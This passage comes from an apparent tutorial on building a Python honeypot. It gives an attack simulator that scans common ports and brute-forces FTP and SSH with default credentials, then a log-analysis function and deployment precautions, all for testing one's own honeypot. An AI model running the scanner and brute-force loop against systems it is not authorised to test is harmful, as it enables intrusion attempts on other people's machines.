<pre><code class="lang-python"><span class="hljs-comment"># honeypot_simulator.py</span>

<span class="hljs-keyword">import</span> socket
<span class="hljs-keyword">import</span> time
<span class="hljs-keyword">import</span> random
<span class="hljs-keyword">import</span> threading
<span class="hljs-keyword">from</span> concurrent.futures <span class="hljs-keyword">import</span> ThreadPoolExecutor
<span class="hljs-keyword">import</span> argparse

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">HoneypotSimulator</span>:</span>
    <span class="hljs-string">"""
    A class to simulate different types of connections and attacks against our honeypot.
    This helps in testing the honeypot's logging and response capabilities.
    """</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, target_ip=<span class="hljs-string">"127.0.0.1"</span>, intensity=<span class="hljs-string">"medium"</span></span>):</span>
        <span class="hljs-comment"># Configuration for the simulator</span>
        self.target_ip = target_ip
        self.intensity = intensity

        <span class="hljs-comment"># Common ports that attackers often probe</span>
        self.target_ports = [<span class="hljs-number">21</span>, <span class="hljs-number">22</span>, <span class="hljs-number">23</span>, <span class="hljs-number">25</span>, <span class="hljs-number">80</span>, <span class="hljs-number">443</span>, <span class="hljs-number">3306</span>, <span class="hljs-number">5432</span>]

        <span class="hljs-comment"># Dictionary of common commands used by attackers for different services</span>
        self.attack_patterns = {
            <span class="hljs-number">21</span>: [  <span class="hljs-comment"># FTP commands</span>
                <span class="hljs-string">"USER admin\r\n"</span>,
                <span class="hljs-string">"PASS admin123\r\n"</span>,
                <span class="hljs-string">"LIST\r\n"</span>,
                <span class="hljs-string">"STOR malware.exe\r\n"</span>
            ],
            <span class="hljs-number">22</span>: [  <span class="hljs-comment"># SSH attempts</span>
                <span class="hljs-string">"SSH-2.0-OpenSSH_7.9\r\n"</span>,
                <span class="hljs-string">"admin:password123\n"</span>,
                <span class="hljs-string">"root:toor\n"</span>
            ],
            <span class="hljs-number">80</span>: [  <span class="hljs-comment"># HTTP requests</span>
                <span class="hljs-string">"GET / HTTP/1.1\r\nHost: localhost\r\n\r\n"</span>,
                <span class="hljs-string">"POST /admin HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n\r\n"</span>,
                <span class="hljs-string">"GET /wp-admin HTTP/1.1\r\nHost: localhost\r\n\r\n"</span>
            ]
        }

        <span class="hljs-comment"># Intensity settings affect the frequency and volume of simulated attacks</span>
        self.intensity_settings = {
            <span class="hljs-string">"low"</span>: {<span class="hljs-string">"max_threads"</span>: <span class="hljs-number">2</span>, <span class="hljs-string">"delay_range"</span>: (<span class="hljs-number">1</span>, <span class="hljs-number">3</span>)},
            <span class="hljs-string">"medium"</span>: {<span class="hljs-string">"max_threads"</span>: <span class="hljs-number">5</span>, <span class="hljs-string">"delay_range"</span>: (<span class="hljs-number">0.5</span>, <span class="hljs-number">1.5</span>)},
            <span class="hljs-string">"high"</span>: {<span class="hljs-string">"max_threads"</span>: <span class="hljs-number">10</span>, <span class="hljs-string">"delay_range"</span>: (<span class="hljs-number">0.1</span>, <span class="hljs-number">0.5</span>)}
        }

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">simulate_connection</span>(<span class="hljs-params">self, port</span>):</span>
        <span class="hljs-string">"""
        Simulates a connection attempt to a specific port with realistic attack patterns
        """</span>
        <span class="hljs-keyword">try</span>:
            <span class="hljs-comment"># Create a new socket connection</span>
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(<span class="hljs-number">3</span>)

            print(<span class="hljs-string">f"[*] Attempting connection to <span class="hljs-subst">{self.target_ip}</span>:<span class="hljs-subst">{port}</span>"</span>)
            sock.connect((self.target_ip, port))

            <span class="hljs-comment"># Get banner if any</span>
            banner = sock.recv(<span class="hljs-number">1024</span>)
            print(<span class="hljs-string">f"[+] Received banner from port <span class="hljs-subst">{port}</span>: <span class="hljs-subst">{banner.decode(<span class="hljs-string">'utf-8'</span>, <span class="hljs-string">'ignore'</span>).strip()}</span>"</span>)

            <span class="hljs-comment"># Send attack patterns based on the port</span>
            <span class="hljs-keyword">if</span> port <span class="hljs-keyword">in</span> self.attack_patterns:
                <span class="hljs-keyword">for</span> command <span class="hljs-keyword">in</span> self.attack_patterns[port]:
                    print(<span class="hljs-string">f"[*] Sending command to port <span class="hljs-subst">{port}</span>: <span class="hljs-subst">{command.strip()}</span>"</span>)
                    sock.send(command.encode())

                    <span class="hljs-comment"># Wait for response</span>
                    <span class="hljs-keyword">try</span>:
                        response = sock.recv(<span class="hljs-number">1024</span>)
                        print(<span class="hljs-string">f"[+] Received response: <span class="hljs-subst">{response.decode(<span class="hljs-string">'utf-8'</span>, <span class="hljs-string">'ignore'</span>).strip()}</span>"</span>)
                    <span class="hljs-keyword">except</span> socket.timeout:
                        print(<span class="hljs-string">f"[-] No response received from port <span class="hljs-subst">{port}</span>"</span>)

                    <span class="hljs-comment"># Add realistic delay between commands</span>
                    time.sleep(random.uniform(*self.intensity_settings[self.intensity][<span class="hljs-string">"delay_range"</span>]))

            sock.close()

        <span class="hljs-keyword">except</span> ConnectionRefusedError:
            print(<span class="hljs-string">f"[-] Connection refused on port <span class="hljs-subst">{port}</span>"</span>)
        <span class="hljs-keyword">except</span> socket.timeout:
            print(<span class="hljs-string">f"[-] Connection timeout on port <span class="hljs-subst">{port}</span>"</span>)
        <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
            print(<span class="hljs-string">f"[-] Error connecting to port <span class="hljs-subst">{port}</span>: <span class="hljs-subst">{e}</span>"</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">simulate_port_scan</span>(<span class="hljs-params">self</span>):</span>
        <span class="hljs-string">"""
        Simulates a basic port scan across common ports
        """</span>
        print(<span class="hljs-string">f"\n[*] Starting port scan simulation against <span class="hljs-subst">{self.target_ip}</span>"</span>)
        <span class="hljs-keyword">for</span> port <span class="hljs-keyword">in</span> self.target_ports:
            self.simulate_connection(port)
            time.sleep(random.uniform(<span class="hljs-number">0.1</span>, <span class="hljs-number">0.3</span>))

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">simulate_brute_force</span>(<span class="hljs-params">self, port</span>):</span>
        <span class="hljs-string">"""
        Simulates a brute force attack against a specific service
        """</span>
        common_usernames = [<span class="hljs-string">"admin"</span>, <span class="hljs-string">"root"</span>, <span class="hljs-string">"user"</span>, <span class="hljs-string">"test"</span>]
        common_passwords = [<span class="hljs-string">"password123"</span>, <span class="hljs-string">"admin123"</span>, <span class="hljs-string">"123456"</span>, <span class="hljs-string">"root"</span>]

        print(<span class="hljs-string">f"\n[*] Starting brute force simulation against port <span class="hljs-subst">{port}</span>"</span>)

        <span class="hljs-keyword">for</span> username <span class="hljs-keyword">in</span> common_usernames:
            <span class="hljs-keyword">for</span> password <span class="hljs-keyword">in</span> common_passwords:
                <span class="hljs-keyword">try</span>:
                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    sock.settimeout(<span class="hljs-number">2</span>)
                    sock.connect((self.target_ip, port))

                    <span class="hljs-keyword">if</span> port == <span class="hljs-number">21</span>:  <span class="hljs-comment"># FTP</span>
                        sock.send(<span class="hljs-string">f"USER <span class="hljs-subst">{username}</span>\r\n"</span>.encode())
                        sock.recv(<span class="hljs-number">1024</span>)
                        sock.send(<span class="hljs-string">f"PASS <span class="hljs-subst">{password}</span>\r\n"</span>.encode())
                    <span class="hljs-keyword">elif</span> port == <span class="hljs-number">22</span>:  <span class="hljs-comment"># SSH</span>
                        sock.send(<span class="hljs-string">f"<span class="hljs-subst">{username}</span>:<span class="hljs-subst">{password}</span>\n"</span>.encode())

                    sock.close()
                    time.sleep(random.uniform(<span class="hljs-number">0.1</span>, <span class="hljs-number">0.3</span>))

                <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
                    print(<span class="hljs-string">f"[-] Error in brute force attempt: <span class="hljs-subst">{e}</span>"</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">run_continuous_simulation</span>(<span class="hljs-params">self, duration=<span class="hljs-number">300</span></span>):</span>
        <span class="hljs-string">"""
        Runs a continuous simulation for a specified duration
        """</span>
        print(<span class="hljs-string">f"\n[*] Starting continuous simulation for <span class="hljs-subst">{duration}</span> seconds"</span>)
        print(<span class="hljs-string">f"[*] Intensity level: <span class="hljs-subst">{self.intensity}</span>"</span>)

        end_time = time.time() + duration

        <span class="hljs-keyword">with</span> ThreadPoolExecutor(
            max_workers=self.intensity_settings[self.intensity][<span class="hljs-string">"max_threads"</span>]
        ) <span class="hljs-keyword">as</span> executor:
            <span class="hljs-keyword">while</span> time.time() &lt; end_time:
                <span class="hljs-comment"># Mix of different attack patterns</span>
                simulation_choices = [
                    <span class="hljs-keyword">lambda</span>: self.simulate_port_scan(),
                    <span class="hljs-keyword">lambda</span>: self.simulate_brute_force(<span class="hljs-number">21</span>),
                    <span class="hljs-keyword">lambda</span>: self.simulate_brute_force(<span class="hljs-number">22</span>),
                    <span class="hljs-keyword">lambda</span>: self.simulate_connection(<span class="hljs-number">80</span>)
                ]

                <span class="hljs-comment"># Randomly choose and execute an attack pattern</span>
                executor.submit(random.choice(simulation_choices))
                time.sleep(random.uniform(*self.intensity_settings[self.intensity][<span class="hljs-string">"delay_range"</span>]))

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    <span class="hljs-string">"""
    Main function to run the honeypot simulator with command-line arguments
    """</span>
    parser = argparse.ArgumentParser(description=<span class="hljs-string">"Honeypot Attack Simulator"</span>)
    parser.add_argument(<span class="hljs-string">"--target"</span>, default=<span class="hljs-string">"127.0.0.1"</span>, help=<span class="hljs-string">"Target IP address"</span>)
    parser.add_argument(
        <span class="hljs-string">"--intensity"</span>,
        choices=[<span class="hljs-string">"low"</span>, <span class="hljs-string">"medium"</span>, <span class="hljs-string">"high"</span>],
        default=<span class="hljs-string">"medium"</span>,
        help=<span class="hljs-string">"Simulation intensity level"</span>
    )
    parser.add_argument(
        <span class="hljs-string">"--duration"</span>,
        type=int,
        default=<span class="hljs-number">300</span>,
        help=<span class="hljs-string">"Simulation duration in seconds"</span>
    )

    args = parser.parse_args()

    simulator = HoneypotSimulator(args.target, args.intensity)

    <span class="hljs-keyword">try</span>:
        simulator.run_continuous_simulation(args.duration)
    <span class="hljs-keyword">except</span> KeyboardInterrupt:
        print(<span class="hljs-string">"\n[*] Simulation interrupted by user"</span>)
    <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
        print(<span class="hljs-string">f"[-] Simulation error: <span class="hljs-subst">{e}</span>"</span>)
    <span class="hljs-keyword">finally</span>:
        print(<span class="hljs-string">"\n[*] Simulation complete"</span>)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
<p>We have a lot going on in this simulation script, so let’s break it down one by one. I’ve also added comments for every function and operation to make this a bit more readable in the code.</p>
<p>We first have our utility class called the <code>HoneypotSimulator</code>. In this class, we have the <code>__init__</code> function that sets up the basic configuration for our simulator. It takes two parameters: a target IP address (defaulting to <a target="_blank" href="http://localhost">localhost</a>) and an intensity level (defaulting to "medium").</p>
<p>We also define three important components: the target ports to probe (common services like FTP, SSH, HTTP), attack patterns specific to each service (like login attempts and commands), and intensity settings that control how aggressive our simulation will be through thread counts and timing delays.</p>
<p>The <code>simulate_connection</code> function handles individual connection attempts to a specific port. It creates a socket connection, tries to get any service banners (like SSH version information), and then sends appropriate attack commands based on the service type. We have added error handling for common network issues and also added realistic delays between commands to mimic human interaction.</p>
<p>Our <code>simulate_port_scan</code> function acts like a reconnaissance tool, that will systematically chec each port in our target list. It's similar to how tools like <code>nmap</code> work – going through ports one by one to see what services are available. For each port, it calls the <code>simulate_connection</code> function and adds small random delays to make the scan pattern look more natural.</p>
<p>The <code>simulate_brute_force</code> function maintains lists of common usernames and passwords, attempting different combinations against services like FTP and SSH. For each attempt, it creates a new connection, sends the login credentials in the correct format for that service, and then closes the connection. This helps us to test how well the honeypot detects and logs credential stuffing attacks.</p>
<p>The <code>run_continuous_simulation</code> function runs for a specified duration, randomly choosing between different attack types like port scanning, brute force, or specific service attacks. It uses Python's <code>ThreadPoolExecutor</code> to run multiple attacks simultaneously based on the specified intensity level.</p>
<p>Finally, we have the <code>main</code> function that provides the command-line interface for the simulator. It uses <code>argparse</code> to handle command-line arguments, letting users specify the target IP, intensity level, and duration of the simulation. It creates an instance of the <code>HoneypotSimulator</code> class and manages the overall execution, including proper handling of user interruptions and errors.</p>
<p>After putting the simulator code in a separate script, run it with the following command:</p>
<pre><code class="lang-python"><span class="hljs-comment"># Run with default settings (medium intensity, localhost, 5 minutes)</span>
python honeypot_simulator.py

<span class="hljs-comment"># Run with custom settings</span>
python honeypot_simulator.py --target <span class="hljs-number">192.168</span><span class="hljs-number">.1</span><span class="hljs-number">.100</span> --intensity high --duration <span class="hljs-number">600</span>
</code></pre>
<p>Since we are running the honeypot as well as the simulator on the same machine locally, the target will be <code>localhost</code>. But it can be something else in a real scenario or if you are running the honeypot in a VM or a different machine – so make sure you confirm the IP before running the simulator.</p>
<h2 id="heading-how-to-analyze-honeypot-data">How to Analyze Honeypot Data</h2>
<p>Let’s quickly write a helper function that will allow us to analyze all the data collected by the Honeypot. Since we’ve stored this in a JSON log file, we can conveniently parse it using the built-in JSON package.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> datetime
<span class="hljs-keyword">import</span> json

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">analyze_logs</span>(<span class="hljs-params">log_file</span>):</span>
    <span class="hljs-string">"""Enhanced honeypot log analysis with temporal and behavioral patterns"""</span>
    ip_analysis = {}
    port_analysis = {}
    hourly_attacks = {}
    data_patterns = {}

    <span class="hljs-comment"># Track session patterns</span>
    ip_sessions = {}
    attack_timeline = []

    <span class="hljs-keyword">with</span> open(log_file, <span class="hljs-string">'r'</span>) <span class="hljs-keyword">as</span> f:
        <span class="hljs-keyword">for</span> line <span class="hljs-keyword">in</span> f:
            <span class="hljs-keyword">try</span>:
                activity = json.loads(line)
                timestamp = datetime.datetime.fromisoformat(activity[<span class="hljs-string">'timestamp'</span>])
                ip = activity[<span class="hljs-string">'remote_ip'</span>]
                port = activity[<span class="hljs-string">'port'</span>]
                data = activity[<span class="hljs-string">'data'</span>]

                <span class="hljs-comment"># Initialize IP tracking if new</span>
                <span class="hljs-keyword">if</span> ip <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> ip_analysis:
                    ip_analysis[ip] = {
                        <span class="hljs-string">'total_attempts'</span>: <span class="hljs-number">0</span>,
                        <span class="hljs-string">'first_seen'</span>: timestamp,
                        <span class="hljs-string">'last_seen'</span>: timestamp,
                        <span class="hljs-string">'targeted_ports'</span>: set(),
                        <span class="hljs-string">'unique_payloads'</span>: set(),
                        <span class="hljs-string">'session_count'</span>: <span class="hljs-number">0</span>
                    }

                <span class="hljs-comment"># Update IP statistics</span>
                ip_analysis[ip][<span class="hljs-string">'total_attempts'</span>] += <span class="hljs-number">1</span>
                ip_analysis[ip][<span class="hljs-string">'last_seen'</span>] = timestamp
                ip_analysis[ip][<span class="hljs-string">'targeted_ports'</span>].add(port)
                ip_analysis[ip][<span class="hljs-string">'unique_payloads'</span>].add(data.strip())

                <span class="hljs-comment"># Track hourly patterns</span>
                hour = timestamp.hour
                hourly_attacks[hour] = hourly_attacks.get(hour, <span class="hljs-number">0</span>) + <span class="hljs-number">1</span>

                <span class="hljs-comment"># Analyze port targeting patterns</span>
                <span class="hljs-keyword">if</span> port <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> port_analysis:
                    port_analysis[port] = {
                        <span class="hljs-string">'total_attempts'</span>: <span class="hljs-number">0</span>,
                        <span class="hljs-string">'unique_ips'</span>: set(),
                        <span class="hljs-string">'unique_payloads'</span>: set()
                    }
                port_analysis[port][<span class="hljs-string">'total_attempts'</span>] += <span class="hljs-number">1</span>
                port_analysis[port][<span class="hljs-string">'unique_ips'</span>].add(ip)
                port_analysis[port][<span class="hljs-string">'unique_payloads'</span>].add(data.strip())

                <span class="hljs-comment"># Track payload patterns</span>
                <span class="hljs-keyword">if</span> data.strip():
                    data_patterns[data.strip()] = data_patterns.get(data.strip(), <span class="hljs-number">0</span>) + <span class="hljs-number">1</span>

                <span class="hljs-comment"># Track attack timeline</span>
                attack_timeline.append({
                    <span class="hljs-string">'timestamp'</span>: timestamp,
                    <span class="hljs-string">'ip'</span>: ip,
                    <span class="hljs-string">'port'</span>: port
                })

            <span class="hljs-keyword">except</span> (json.JSONDecodeError, KeyError) <span class="hljs-keyword">as</span> e:
                <span class="hljs-keyword">continue</span>

    <span class="hljs-comment"># Analysis Report Generation</span>
    print(<span class="hljs-string">"\n=== Honeypot Analysis Report ==="</span>)

    <span class="hljs-comment"># 1. IP-based Analysis</span>
    print(<span class="hljs-string">"\nTop 10 Most Active IPs:"</span>)
    sorted_ips = sorted(ip_analysis.items(), 
                       key=<span class="hljs-keyword">lambda</span> x: x[<span class="hljs-number">1</span>][<span class="hljs-string">'total_attempts'</span>], 
                       reverse=<span class="hljs-literal">True</span>)[:<span class="hljs-number">10</span>]
    <span class="hljs-keyword">for</span> ip, stats <span class="hljs-keyword">in</span> sorted_ips:
        duration = stats[<span class="hljs-string">'last_seen'</span>] - stats[<span class="hljs-string">'first_seen'</span>]
        print(<span class="hljs-string">f"\nIP: <span class="hljs-subst">{ip}</span>"</span>)
        print(<span class="hljs-string">f"Total Attempts: <span class="hljs-subst">{stats[<span class="hljs-string">'total_attempts'</span>]}</span>"</span>)
        print(<span class="hljs-string">f"Active Duration: <span class="hljs-subst">{duration}</span>"</span>)
        print(<span class="hljs-string">f"Unique Ports Targeted: <span class="hljs-subst">{len(stats[<span class="hljs-string">'targeted_ports'</span>])}</span>"</span>)
        print(<span class="hljs-string">f"Unique Payloads: <span class="hljs-subst">{len(stats[<span class="hljs-string">'unique_payloads'</span>])}</span>"</span>)

    <span class="hljs-comment"># 2. Port Analysis</span>
    print(<span class="hljs-string">"\nPort Targeting Analysis:"</span>)
    sorted_ports = sorted(port_analysis.items(),
                         key=<span class="hljs-keyword">lambda</span> x: x[<span class="hljs-number">1</span>][<span class="hljs-string">'total_attempts'</span>],
                         reverse=<span class="hljs-literal">True</span>)
    <span class="hljs-keyword">for</span> port, stats <span class="hljs-keyword">in</span> sorted_ports:
        print(<span class="hljs-string">f"\nPort <span class="hljs-subst">{port}</span>:"</span>)
        print(<span class="hljs-string">f"Total Attempts: <span class="hljs-subst">{stats[<span class="hljs-string">'total_attempts'</span>]}</span>"</span>)
        print(<span class="hljs-string">f"Unique Attackers: <span class="hljs-subst">{len(stats[<span class="hljs-string">'unique_ips'</span>])}</span>"</span>)
        print(<span class="hljs-string">f"Unique Payloads: <span class="hljs-subst">{len(stats[<span class="hljs-string">'unique_payloads'</span>])}</span>"</span>)

    <span class="hljs-comment"># 3. Temporal Analysis</span>
    print(<span class="hljs-string">"\nHourly Attack Distribution:"</span>)
    <span class="hljs-keyword">for</span> hour <span class="hljs-keyword">in</span> sorted(hourly_attacks.keys()):
        print(<span class="hljs-string">f"Hour <span class="hljs-subst">{hour:<span class="hljs-number">02</span>d}</span>: <span class="hljs-subst">{hourly_attacks[hour]}</span> attempts"</span>)

    <span class="hljs-comment"># 4. Attack Sophistication Analysis</span>
    print(<span class="hljs-string">"\nAttacker Sophistication Analysis:"</span>)
    <span class="hljs-keyword">for</span> ip, stats <span class="hljs-keyword">in</span> sorted_ips:
        sophistication_score = (
            len(stats[<span class="hljs-string">'targeted_ports'</span>]) * <span class="hljs-number">0.4</span> +  <span class="hljs-comment"># Port diversity</span>
            len(stats[<span class="hljs-string">'unique_payloads'</span>]) * <span class="hljs-number">0.6</span>   <span class="hljs-comment"># Payload diversity</span>
        )
        print(<span class="hljs-string">f"IP <span class="hljs-subst">{ip}</span>: Sophistication Score <span class="hljs-subst">{sophistication_score:<span class="hljs-number">.2</span>f}</span>"</span>)

    <span class="hljs-comment"># 5. Common Payload Patterns</span>
    print(<span class="hljs-string">"\nTop 10 Most Common Payloads:"</span>)
    sorted_payloads = sorted(data_patterns.items(),
                            key=<span class="hljs-keyword">lambda</span> x: x[<span class="hljs-number">1</span>],
                            reverse=<span class="hljs-literal">True</span>)[:<span class="hljs-number">10</span>]
    <span class="hljs-keyword">for</span> payload, count <span class="hljs-keyword">in</span> sorted_payloads:
        <span class="hljs-keyword">if</span> len(payload) &gt; <span class="hljs-number">50</span>:  <span class="hljs-comment"># Truncate long payloads</span>
            payload = payload[:<span class="hljs-number">50</span>] + <span class="hljs-string">"..."</span>
        print(<span class="hljs-string">f"Count <span class="hljs-subst">{count}</span>: <span class="hljs-subst">{payload}</span>"</span>)
</code></pre>
<p>You can place this in a separate script file and call the function on the JSON logs. This function will provide us comprehensive insights from the JSON file based on the data collected.</p>
<p>Our analysis begins by grouping the data into several categories like IP-based statistics, port targeting patterns, hourly attack distributions, and payload characteristics. For every IP, we are tracking total attempts, first and last seen times, targeted ports and unique payloads. This will help us build unique profiles for attackers.</p>
<p>We also examine port-based attack patterns here that monitor for most frequently targeted ports, and by how many unique attackers. We also perform an attack sophistication analysis that helps us identify targeted attackers, considering factors like ports targeted and unique payloads used. This analysis is used for separating simple scanning activities and sophisticated attacks.</p>
<p>Temporal analysis helps us to identify patterns in hourly attack attempts revealing patterns in attack timing and potential automated targeting campaigns. Finally, we publish commonly seen payloads to identify commonly seen attack strings or commands.</p>
<h2 id="heading-security-considerations">Security Considerations</h2>
<p>While deploying this honeypot, make sure you consider the following security measures:</p>
<ol>
<li><p>Run your honeypot in an isolated environment. Typically inside a VM, or on your local machine that is behind a NAT and a firewall.</p>
</li>
<li><p>Run the honeypot with minimal system privileges (typically not as root) to reduce risk if compromised.</p>
</li>
<li><p>Be cautious with collected data if you plan to ever deploy it as a production-grade or research honeypot as it may contain malware or sensitive information.</p>
</li>
<li><p>Implement robust monitoring mechanisms to detect attempts to break out of the honeypot environment.</p>
</li>
</ol>
<h2 id="heading-conclusion">Conclusion</h2>
<p>With this we have built our honeypot, written a simulator to simulate attacks for our honeypot and analyzed the data from our honeypot logs to make a few simple inferences. It is an excellent way to understand both offensive as well as defensive security concepts. You can consider building upon this to create more complex detection systems and think of adding features like:</p>
<ol>
<li><p>Dynamic service emulation based on attack behavior</p>
</li>
<li><p>Integration with threat intelligence systems that will perform better inference analysis of these collected honeypot logs</p>
</li>
<li><p>Gather even comprehensive logs beyond the IP, port and network data through advanced logging mechanisms</p>
</li>
<li><p>Add machine learning capabilities to detect attack patterns</p>
</li>
</ol>
<p>Remember that even though honeypots are powerful security tools, they should be a part of a comprehensive defensive security strategy, not the only line of defense.</p>
<p>I hope you learnt about how honeypots work, what is their purpose as well as a bit of Python programming as well!</p>
 ]]>
                </content:encoded>
            </item>
        
    </channel>
</rss>
